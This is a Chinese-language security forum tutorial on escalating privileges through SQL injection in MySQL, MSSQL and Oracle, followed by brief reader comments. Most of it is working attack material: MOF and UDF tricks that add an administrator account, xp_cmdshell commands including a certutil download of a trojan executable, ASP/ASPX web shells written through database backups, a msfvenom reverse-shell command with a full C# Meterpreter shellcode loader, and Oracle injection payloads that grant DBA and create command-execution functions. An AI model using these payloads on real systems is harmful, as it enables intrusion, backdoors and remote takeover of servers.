SQL注入提权

Track-聂风   ·   发表于 2020-08-20 21:30:53   ·   技术文章

SQL注入提权

前言

SQL注入是我们最常见的漏洞,其根本的核心就是用户输入的数据会被当做SQL代码执行。SQL语言比较灵活,而且不同数据库又有不同区别,常见的就有Mysql、MSSQL、Oracle、Access等,本文会不断地更新,渐渐的补全。

目录


Mysql篇

Windos提权

  • MOF提权

    MOF提权-使用范围

    Windows Server 2003/XP 等 Windows低版本

    MOF提权-需要权限

    必须要有导出权限

    MOF提权-原理

    mof是Windows系统的一个文件,位于c:/windows/system32/wbem/mof/nullevt.mof,叫做托管对象格式, 它的作用是每隔5秒,就会去监控进程的创建和死亡。mof提权的简单利用过程就是,拥有了MySQL的root权限 后,使用root权限去执行上传操作,将我们重新改写过的mof文件上传,之后,这个文件会被服务器每隔5秒 以system权限执行。这个改写的mof中,有一段是vbs脚本,这个vbs大多数是cmd的添加管理员用户的命令。

    Mof 文件怎么书写?
    文字排版实在是太难了,我就贴图片了,这个内容我会放附件给你们

其中的关键就在于第17的net.exe user secist 123 /add,这句是用来创建一个用户名为secist,密码为123的用户。

创建成功后,再将这句命令改为“net.exe localgroup administrators admin /add”后,再次上传,达到创建admin用户并将其加入administrators组的目的。
【tisp:代码注意标点符号是否是中文】

MOF提权-实操

Windows Server 2003R2上面搭建这BlueCms,用户注册,登录成功后,通过上传头像,然后将我们要用到的mof文件后缀改为1.jpg上传


然后通过扫描目录,我们发现这个网站有phpmyadmin目录,访问了一下,显示PHP版本过低,发现要PHP高于5.5才能使用Phpmyadmin,本地测试了一下,Windows 2003 根本不支持PHP5.4以上版本,不过不负有心人,我发现他有adminer.php文件。也是WEB的数据库管理工具。

然后查看了一下这个数据库,居然开启了导出的权限。
如果本地测试的小伙伴没有开启的话,可以去数据库的my.ini的最后加入这句话,然后重启Mysql
加入my.ini的语句:secure_file_priv =

那么我们只要简单的执行导出语句就可以,先用load_file读取前面上传上来的文件内容,然后再导出到c:/windows/system32/wbem/mof/nullevt.mof。
语句:
select load_file(“D:/phpstudy/www/bluecms/uploads/data/upload/face_pic/15905196234.jpg”) into dumpfile “c:/windows/system32/wbem/mof/kkk.mof”

再次上传一个mof文件,然后在执行命令的地方,把添加用户改为,提升用户权限,mof这里是system权限的,所以可以直接提上来。

那是否能尝试,在没有上传点的情况下达成这样的攻击?
那么我想到的就是直接写在adminer直接导出,但是我估计有些符号会影响语句,Mysql支持16进制,应该可以先转16进制,然后用Into dumpfile导出

字符转16进制:https://www.bejson.com/convert/ox2str/

我们尝试了,但是遇到了困难,因为16进制解码写入后,所有的代码都会糊在一起,不再会换行了。如果没有想错的话就是16进制转换的时候没有加上换行,但是这里转换复杂,而且发现一个换行是由一个回车+一个换行符组成

为了更偷懒,我直接转化为了纯char写入

执行成功后,查看用户很明显添加了进去,所以只要我们能导入都可以

  • Udf提权

    Udf提权-使用范围

    无版本要求,只和Mysql有关,与服务器版本无关

    Udf提权-需要权限

    必须要有导出权限,且用户必须root权限

    Udf提权-原理

    UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。通过加载dll文件扩展,我们可以让Mysql去做一切事情。通过上传可以调用系统命令的Dll扩展,然后设置好自定义函数,然后使用函数执行命令。

    需要上传的dll文件会在附件中提供

    Udf提权-实战

    在讲解实战前,我们先来讲解下

    如果mysql版本>5.1,udf.dll文件必须放置在mysql安装目录下的lib\plugin\

    如果mysql版本<5.1,udf.dll文件在system32目录下

    我们怎么去获取Dll文件,其实Sqlmap中就有
    sqlmap目录下的 \data\udf\mysql\windows\64\lib_mysqludf_sys.dll文件
    当然你目标如果是32位的那么要选择32位的。

    我们来尝试一下最简单的方法,通过Webshell直接上传到该目录然后执行命令。
    这里所指的是网站低权限运行,但是数据库高权限运行,在IIS作为中间件的时候 比较常见。


MSSQL篇


执行系统命令

判断开启

  1. select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'


结果为1表示开启
可以用盲注语句判断

  1. and (select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell')=1

注意:执行系统指令属于堆叠查询,而且没有回显

  1. select * from users where id =1 exec master..xp_cmdshell whoami


所以可以尝试直接创建账号等指令,如果不能使用堆叠查询,可以使用盲注辅助

  1. if 1=1 execute('exec xp_cmdshell whoami');
  2. select * from users where id =1 and 1=2 if 1=1 execute('exec master..xp_cmdshell whoami');


写文件,注意,会把原来的文件内容覆盖掉

  1. exec master..xp_cmdshell "echo 这是个木马>d:\\2.txt"


注意:如果echo 里面的字符有引号和其他符号,那么我们就要在引号前面加一个 ^ 来转义它!记得用单引号包裹里面的一句话!

执行EXE程序-这是个错误的案例

  1. exec master..xp_cmdshell 'C:\WINDOWS\system32\notepad.exe'

不能执行用户交互的命令,比如,执行记事本这种需要用户录入,关闭等操作的程序,就会挂死程序,此外,弹窗的也不行,适合配合其他操作或者下面命令的使用。
``
exec master..xp_cmdshell “certutil -urlcache -split -f http://服务器/木马.exe 木马.exe” —

无杂质写入文件

  1. exec sp_configure 'show advanced options',1;
  2. RECONFIGURE WITH OVERRIDE;
  3. EXEC sp_configure 'Ole Automation Procedures',1;
  4. RECONFIGURE WITH OVERRIDE;

  1. declare @ob int;
  2. exec sp_oacreate 'adodb.stream',@ob output;
  3. exec sp_oasetproperty @ob,'type',1;
  4. exec sp_oamethod @ob,'open';
  5. exec sp_oamethod @ob,'write',null,0x3c3f70687020706870696e666f28293b3f3e;
  6. exec sp_oamethod @ob,'savetofile',null,'c:\test66.txt',2;
  7. exec sp_oamethod @ob,'close';
  8. exec sp_oadestroy @ob;

操作注册表

直接修改注册表,关闭防火墙,开个3389都可以的
读取远程桌面端口

备份文件写shell

日志备份

  1. create table cmd (a image)
  2. backup log test to disk = 'c:/1.bak' with init
  3. insert into cmd (a) values ('<%@ Page Language="Jscript"%><%eval(Request.Item["cc"],"unsafe");%>')
  4. backup log test to disk = 'c:\saul.aspx'
  5. drop table cmd

文件备份

  1. exec sp_makewebtask 'D:\mssql\p2.asp','<%Execute(request("MH"))%>'

注意,路径和内容要用16进制

  1. declare @s nvarchar(4000);select @s=0x730065006c00650063007400200027003c002500450078006500630075007400650028007200650071007500650073007400280022004d00480022002900290025003e000d000a002700;exec sp_makewebtask 0x44003a005c006d007300730071006c005c00700032002e00610073007000, @s;

差异备份
理论而言只会把不同的内容进行备份,但测试时有偏差

  1. backup database test to disk = 'c:\2.bak'
  2. create table [dbo].[test] ([cmd] [image]);
  3. insert into test(cmd) values('<%@ Page Language="Jscript"%><%eval(Request.Item["cc"],"unsafe");%>')--
  4. backup database test to disk='c:\2.aspx' WITH DIFFERENTIAL,FORMAT;

clr


msf执行Msfvenom -p windows / meterpreter / reverse_tcp LHOST = 192.168.139.129 LPORT = 4444 EXITFUNC = none -f csharp --platform windows

构造

  1. using System;
  2. using System.IO;
  3. using System.Runtime.InteropServices;
  4. namespace Meterpreter_Test2
  5. {
  6. class Program
  7. {
  8. static void Main(string[] args)
  9. {
  10. //RunMeterpreter("192.168.139.129", "4444");
  11. //var str = Convert.ToString(Console.ReadLine());
  12. }
  13. public static void RunMeterpreter(string ip, string port)
  14. {
  15. try
  16. {
  17. byte[] buf = new byte[323]
  18. {
  19. 0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30,
  20. 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff,
  21. 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52,
  22. 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1,
  23. 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b,
  24. 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03,
  25. 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b,
  26. 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,
  27. 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb,
  28. 0x8d, 0x5d, 0x68, 0x33, 0x32, 0x00, 0x00, 0x68, 0x77, 0x73, 0x32, 0x5f, 0x54, 0x68, 0x4c,
  29. 0x77, 0x26, 0x07, 0xff, 0xd5, 0xb8, 0x90, 0x01, 0x00, 0x00, 0x29, 0xc4, 0x54, 0x50, 0x68,
  30. 0x29, 0x80, 0x6b, 0x00, 0xff, 0xd5, 0x6a, 0x05, 0x68, 0xc0, 0xa8, 0x8b, 0x81, 0x68, 0x02,
  31. 0x00, 0x11, 0x5c, 0x89, 0xe6, 0x50, 0x50, 0x50, 0x50, 0x40, 0x50, 0x40, 0x50, 0x68, 0xea,
  32. 0x0f, 0xdf, 0xe0, 0xff, 0xd5, 0x97, 0x6a, 0x10, 0x56, 0x57, 0x68, 0x99, 0xa5, 0x74, 0x61,
  33. 0xff, 0xd5, 0x85, 0xc0, 0x74, 0x0a, 0xff, 0x4e, 0x08, 0x75, 0xec, 0xe8, 0x61, 0x00, 0x00,
  34. 0x00, 0x6a, 0x00, 0x6a, 0x04, 0x56, 0x57, 0x68, 0x02, 0xd9, 0xc8, 0x5f, 0xff, 0xd5, 0x83,
  35. 0xf8, 0x00, 0x7e, 0x36, 0x8b, 0x36, 0x6a, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x56, 0x6a,
  36. 0x00, 0x68, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x93, 0x53, 0x6a, 0x00, 0x56, 0x53, 0x57,
  37. 0x68, 0x02, 0xd9, 0xc8, 0x5f, 0xff, 0xd5, 0x83, 0xf8, 0x00, 0x7d, 0x22, 0x58, 0x68, 0x00,
  38. 0x40, 0x00, 0x00, 0x6a, 0x00, 0x50, 0x68, 0x0b, 0x2f, 0x0f, 0x30, 0xff, 0xd5, 0x57, 0x68,
  39. 0x75, 0x6e, 0x4d, 0x61, 0xff, 0xd5, 0x5e, 0x5e, 0xff, 0x0c, 0x24, 0xe9, 0x71, 0xff, 0xff,
  40. 0xff, 0x01, 0xc3, 0x29, 0xc6, 0x75, 0xc7, 0xc3
  41. };
  42. var ipOctetSplit = ip.Split('.');
  43. byte octByte1 = Convert.ToByte(ipOctetSplit[0]);
  44. byte octByte2 = Convert.ToByte(ipOctetSplit[1]);
  45. byte octByte3 = Convert.ToByte(ipOctetSplit[2]);
  46. byte octByte4 = Convert.ToByte(ipOctetSplit[3]);
  47. int inputPort = Int32.Parse(port);
  48. byte port1Byte = 0x00;
  49. byte port2Byte = 0x00;
  50. if (inputPort > 256)
  51. {
  52. int portOct1 = inputPort / 256;
  53. int portOct2 = portOct1 * 256;
  54. int portOct3 = inputPort - portOct2;
  55. int portoct1Calc = portOct1 * 256 + portOct3;
  56. if (inputPort == portoct1Calc)
  57. {
  58. port1Byte = Convert.ToByte(portOct1);
  59. port2Byte = Convert.ToByte(portOct3);
  60. }
  61. }
  62. else
  63. {
  64. port1Byte = 0x00;
  65. port2Byte = Convert.ToByte(inputPort);
  66. }
  67. buf[174] = octByte1;
  68. buf[175] = octByte2;
  69. buf[176] = octByte3;
  70. buf[177] = octByte4;
  71. buf[181] = port1Byte;
  72. buf[182] = port2Byte;
  73. UInt32 funcAddr = VirtualAlloc(0, (UInt32)buf.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  74. Marshal.Copy(buf, 0, (IntPtr)(funcAddr), buf.Length);
  75. IntPtr hThread = IntPtr.Zero;
  76. UInt32 threadId = 0;
  77. IntPtr pinfo = IntPtr.Zero;
  78. hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
  79. WaitForSingleObject(hThread, 0xFFFFFFFF);
  80. return;
  81. }
  82. catch (Exception e)
  83. {
  84. Console.WriteLine(e);
  85. throw;
  86. }
  87. }
  88. private static UInt32 MEM_COMMIT = 0x1000;
  89. private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
  90. [DllImport("kernel32")]
  91. private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
  92. [DllImport("kernel32")]
  93. private static extern IntPtr CreateThread(UInt32 lpThreadAttributes,UInt32 dwStackSize,UInt32 lpStartAddress,IntPtr param,UInt32 dwCreationFlags,ref UInt32 lpThreadId);
  94. [DllImport("kernel32")]
  95. private static extern UInt32 WaitForSingleObject(IntPtr hHandle,UInt32 dwMilliseconds);
  96. }
  97. }


生成

右键-新建程序集

选择无限制

数据库中执行

  1. CREATE PROCEDURE [dbo].[取个名]
  2. @cmd NVARCHAR (MAX)
  3. AS EXTERNAL NAME [cli].[StoredProcedures].[取个名]
  4. go

然后执行exec dbo.取个名

Oracle篇


命令执行

1. ORACLE DATABASE 10G ENTERPRISE EDITION RELEASE 10.2.0.1.0(该版本虚拟机丢失 之前测试成功)

  1. 提升TEST用户到dba权限 TEST用户名要大写
    1. ' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('foo','bar','DBMS_OUTPUT".PUT_LINE(:P1); EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''grant dba to TEST''''; END;''; END;--', '', 0, '1', 0) from dual)=0--
  2. 创建Java包
    1. ' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('foo','bar','DBMS_OUTPUT".PUT_LINE(:P1); EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "SasugaOracle" as import java.lang.*;import java.io.*;class SasugaOracle{public static String exec(String cmd){String ret="",tmp;try{BufferedReader reader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));while ((tmp=reader.readLine())!=null){ret+=tmp;}reader.close();}catch(Exception ex){ret=ex.toString();}return ret;}}''''; END;''; END;--', '', 0, '1', 0) from dual)=0--
  3. 赋予Java权限
    1. ' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''',''''''''execute''''''''); end;'''';END;'';END;--','SYS',0,'1',0) from dual)=0--
  4. 创建runcmd函数
    1. ' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function runcmd(cmd in varchar2) return varchar2 as language java name ''''''''SasugaOracle.exec(java.lang.String) return java.lang.String'''''''';'''';END;'';END;--','SYS',0,'1',0) from dual)=0--
  5. 赋予所有人执行权限
    1. ' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant execute on runcmd to public'''';END;'';END;--','SYS',0,'1',0) from dual)=0--
  6. 命令执行
    1. ' and 1=2 union select 1,sys.runcmd('cmd /c whoami'),2 from dual--

2. hacking Oracle Database 11.1.0.7.0 以及更低版本(The 11.2.0.1 April CPU patch fixes this)当前用户有dba权限

  1. 赋予SYSTEM Javasyspriv Only DBA can call this function

    1. (select SYS.KUPP$PROC.CREATE_MASTER_PROCESS(begin execute immediate 'grant javasyspriv to SYSTEM';end;)from dual) is not null
    2. ' AND (select SYS.KUPP$PROC.CREATE_MASTER_PROCESS(CHR(98)||CHR(101)||CHR(103)||CHR(105)||CHR(110)||CHR(32)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(117)||CHR(116)||CHR(101)||CHR(32)||CHR(105)||CHR(109)||CHR(109)||CHR(101)||CHR(100)||CHR(105)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(39)||CHR(103)||CHR(114)||CHR(97)||CHR(110)||CHR(116)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(115)||CHR(121)||CHR(115)||CHR(112)||CHR(114)||CHR(105)||CHR(118)||CHR(32)||CHR(116)||CHR(111)||CHR(32)||CHR(83)||CHR(89)||CHR(83)||CHR(84)||CHR(69)||CHR(77)||CHR(39)||CHR(59)||CHR(101)||CHR(110)||CHR(100)||CHR(59))from dual) is not null--
  2. 创建javaexec包
    1. ' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace and resolve java source named "javaexec" as import java.lang.*;import java.io.*;public class javaexec{public static String Ecmd(String ss) throws IOException{BufferedReader mR= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(ss).getInputStream()));String st,str="";while ((st=mR.readLine()) != null) str += st+"\n";mR.close();return str;}}'';commit; end;') from dual) where rownum=1--
    2. ' and (select dbms_xmlquery.newcontext(CHR(100)||CHR(101)||CHR(99)||CHR(108)||CHR(97)||CHR(114)||CHR(101)||CHR(32)||CHR(80)||CHR(82)||CHR(65)||CHR(71)||CHR(77)||CHR(65)||CHR(32)||CHR(65)||CHR(85)||CHR(84)||CHR(79)||CHR(78)||CHR(79)||CHR(77)||CHR(79)||CHR(85)||CHR(83)||CHR(95)||CHR(84)||CHR(82)||CHR(65)||CHR(78)||CHR(83)||CHR(65)||CHR(67)||CHR(84)||CHR(73)||CHR(79)||CHR(78)||CHR(59)||CHR(32)||CHR(98)||CHR(101)||CHR(103)||CHR(105)||CHR(110)||CHR(32)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(117)||CHR(116)||CHR(101)||CHR(32)||CHR(105)||CHR(109)||CHR(109)||CHR(101)||CHR(100)||CHR(105)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(39)||CHR(99)||CHR(114)||CHR(101)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(111)||CHR(114)||CHR(32)||CHR(114)||CHR(101)||CHR(112)||CHR(108)||CHR(97)||CHR(99)||CHR(101)||CHR(32)||CHR(97)||CHR(110)||CHR(100)||CHR(32)||CHR(114)||CHR(101)||CHR(115)||CHR(111)||CHR(108)||CHR(118)||CHR(101)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(32)||CHR(115)||CHR(111)||CHR(117)||CHR(114)||CHR(99)||CHR(101)||CHR(32)||CHR(110)||CHR(97)||CHR(109)||CHR(101)||CHR(100)||CHR(32)||CHR(34)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(34)||CHR(32)||CHR(97)||CHR(115)||CHR(32)||CHR(105)||CHR(109)||CHR(112)||CHR(111)||CHR(114)||CHR(116)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(46)||CHR(108)||CHR(97)||CHR(110)||CHR(103)||CHR(46)||CHR(42)||CHR(59)||CHR(105)||CHR(109)||CHR(112)||CHR(111)||CHR(114)||CHR(116)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(46)||CHR(105)||CHR(111)||CHR(46)||CHR(42)||CHR(59)||CHR(112)||CHR(117)||CHR(98)||CHR(108)||CHR(105)||CHR(99)||CHR(32)||CHR(99)||CHR(108)||CHR(97)||CHR(115)||CHR(115)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(123)||CHR(112)||CHR(117)||CHR(98)||CHR(108)||CHR(105)||CHR(99)||CHR(32)||CHR(115)||CHR(116)||CHR(97)||CHR(116)||CHR(105)||CHR(99)||CHR(32)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(32)||CHR(69)||CHR(99)||CHR(109)||CHR(100)||CHR(40)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(32)||CHR(115)||CHR(115)||CHR(41)||CHR(32)||CHR(116)||CHR(104)||CHR(114)||CHR(111)||CHR(119)||CHR(115)||CHR(32)||CHR(73)||CHR(79)||CHR(69)||CHR(120)||CHR(99)||CHR(101)||CHR(112)||CHR(116)||CHR(105)||CHR(111)||CHR(110)||CHR(123)||CHR(66)||CHR(117)||CHR(102)||CHR(102)||CHR(101)||CHR(114)||CHR(101)||CHR(100)||CHR(82)||CHR(101)||CHR(97)||CHR(100)||CHR(101)||CHR(114)||CHR(32)||CHR(109)||CHR(82)||CHR(61)||CHR(32)||CHR(110)||CHR(101)||CHR(119)||CHR(32)||CHR(66)||CHR(117)||CHR(102)||CHR(102)||CHR(101)||CHR(114)||CHR(101)||CHR(100)||CHR(82)||CHR(101)||CHR(97)||CHR(100)||CHR(101)||CHR(114)||CHR(40)||CHR(110)||CHR(101)||CHR(119)||CHR(32)||CHR(73)||CHR(110)||CHR(112)||CHR(117)||CHR(116)||CHR(83)||CHR(116)||CHR(114)||CHR(101)||CHR(97)||CHR(109)||CHR(82)||CHR(101)||CHR(97)||CHR(100)||CHR(101)||CHR(114)||CHR(40)||CHR(82)||CHR(117)||CHR(110)||CHR(116)||CHR(105)||CHR(109)||CHR(101)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(82)||CHR(117)||CHR(110)||CHR(116)||CHR(105)||CHR(109)||CHR(101)||CHR(40)||CHR(41)||CHR(46)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(40)||CHR(115)||CHR(115)||CHR(41)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(73)||CHR(110)||CHR(112)||CHR(117)||CHR(116)||CHR(83)||CHR(116)||CHR(114)||CHR(101)||CHR(97)||CHR(109)||CHR(40)||CHR(41)||CHR(41)||CHR(41)||CHR(59)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(32)||CHR(115)||CHR(116)||CHR(44)||CHR(115)||CHR(116)||CHR(114)||CHR(61)||CHR(34)||CHR(34)||CHR(59)||CHR(119)||CHR(104)||CHR(105)||CHR(108)||CHR(101)||CHR(32)||CHR(40)||CHR(40)||CHR(115)||CHR(116)||CHR(61)||CHR(109)||CHR(82)||CHR(46)||CHR(114)||CHR(101)||CHR(97)||CHR(100)||CHR(76)||CHR(105)||CHR(110)||CHR(101)||CHR(40)||CHR(41)||CHR(41)||CHR(32)||CHR(33)||CHR(61)||CHR(32)||CHR(110)||CHR(117)||CHR(108)||CHR(108)||CHR(41)||CHR(32)||CHR(115)||CHR(116)||CHR(114)||CHR(32)||CHR(43)||CHR(61)||CHR(32)||CHR(115)||CHR(116)||CHR(43)||CHR(34)||CHR(92)||CHR(110)||CHR(34)||CHR(59)||CHR(109)||CHR(82)||CHR(46)||CHR(99)||CHR(108)||CHR(111)||CHR(115)||CHR(101)||CHR(40)||CHR(41)||CHR(59)||CHR(114)||CHR(101)||CHR(116)||CHR(117)||CHR(114)||CHR(110)||CHR(32)||CHR(115)||CHR(116)||CHR(114)||CHR(59)||CHR(125)||CHR(125)||CHR(39)||CHR(59)||CHR(99)||CHR(111)||CHR(109)||CHR(109)||CHR(105)||CHR(116)||CHR(59)||CHR(32)||CHR(101)||CHR(110)||CHR(100)||CHR(59)) from dual) is not null--
  3. 创建javacmd函数
    1. ' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace function javacmd(p_filename in varchar2)return varchar2 as language java name ''''javaexec.Ecmd(java.lang.String)return String'''';''; commit; end;') from dual) where rownum=1--
    2. ' and (select dbms_xmlquery.newcontext(CHR(100)||CHR(101)||CHR(99)||CHR(108)||CHR(97)||CHR(114)||CHR(101)||CHR(32)||CHR(80)||CHR(82)||CHR(65)||CHR(71)||CHR(77)||CHR(65)||CHR(32)||CHR(65)||CHR(85)||CHR(84)||CHR(79)||CHR(78)||CHR(79)||CHR(77)||CHR(79)||CHR(85)||CHR(83)||CHR(95)||CHR(84)||CHR(82)||CHR(65)||CHR(78)||CHR(83)||CHR(65)||CHR(67)||CHR(84)||CHR(73)||CHR(79)||CHR(78)||CHR(59)||CHR(32)||CHR(98)||CHR(101)||CHR(103)||CHR(105)||CHR(110)||CHR(32)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(117)||CHR(116)||CHR(101)||CHR(32)||CHR(105)||CHR(109)||CHR(109)||CHR(101)||CHR(100)||CHR(105)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(39)||CHR(99)||CHR(114)||CHR(101)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(111)||CHR(114)||CHR(32)||CHR(114)||CHR(101)||CHR(112)||CHR(108)||CHR(97)||CHR(99)||CHR(101)||CHR(32)||CHR(102)||CHR(117)||CHR(110)||CHR(99)||CHR(116)||CHR(105)||CHR(111)||CHR(110)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(99)||CHR(109)||CHR(100)||CHR(40)||CHR(112)||CHR(95)||CHR(102)||CHR(105)||CHR(108)||CHR(101)||CHR(110)||CHR(97)||CHR(109)||CHR(101)||CHR(32)||CHR(105)||CHR(110)||CHR(32)||CHR(118)||CHR(97)||CHR(114)||CHR(99)||CHR(104)||CHR(97)||CHR(114)||CHR(50)||CHR(41)||CHR(114)||CHR(101)||CHR(116)||CHR(117)||CHR(114)||CHR(110)||CHR(32)||CHR(118)||CHR(97)||CHR(114)||CHR(99)||CHR(104)||CHR(97)||CHR(114)||CHR(50)||CHR(32)||CHR(97)||CHR(115)||CHR(32)||CHR(108)||CHR(97)||CHR(110)||CHR(103)||CHR(117)||CHR(97)||CHR(103)||CHR(101)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(32)||CHR(110)||CHR(97)||CHR(109)||CHR(101)||CHR(32)||CHR(39)||CHR(39)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(46)||CHR(69)||CHR(99)||CHR(109)||CHR(100)||CHR(40)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(46)||CHR(108)||CHR(97)||CHR(110)||CHR(103)||CHR(46)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(41)||CHR(114)||CHR(101)||CHR(116)||CHR(117)||CHR(114)||CHR(110)||CHR(32)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(39)||CHR(39)||CHR(59)||CHR(39)||CHR(59)||CHR(32)||CHR(99)||CHR(111)||CHR(109)||CHR(109)||CHR(105)||CHR(116)||CHR(59)||CHR(32)||CHR(101)||CHR(110)||CHR(100)||CHR(59)) from dual) is not null--
  4. 命令执行
    1. ' and 1=2 union select 1,(select javacmd('whoami') from dual),'3' from dual--
    2. '||utl_inaddr.get_host_name((select javacmd('ping 8.8.8.8') from dual))||'
用户名金币积分时间理由
奖励系统 50.00 0 2021-08-13 22:10:46 投稿满 5 赞奖励
和谐文明 5.00 0 2020-08-20 22:10:55 一个受益终生的帖子~~

打赏我,让我更有动力~

2 条回复   |  直到 2021-3-25 | 2567 次浏览

kidll
发表于 2020-8-21

划重点,要考

评论列表

  • 加载数据中...

编写评论内容

小唐gkd
发表于 2021-3-25

聂风老师写的真不错,现在先收藏,看了一部分了嘿嘿

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.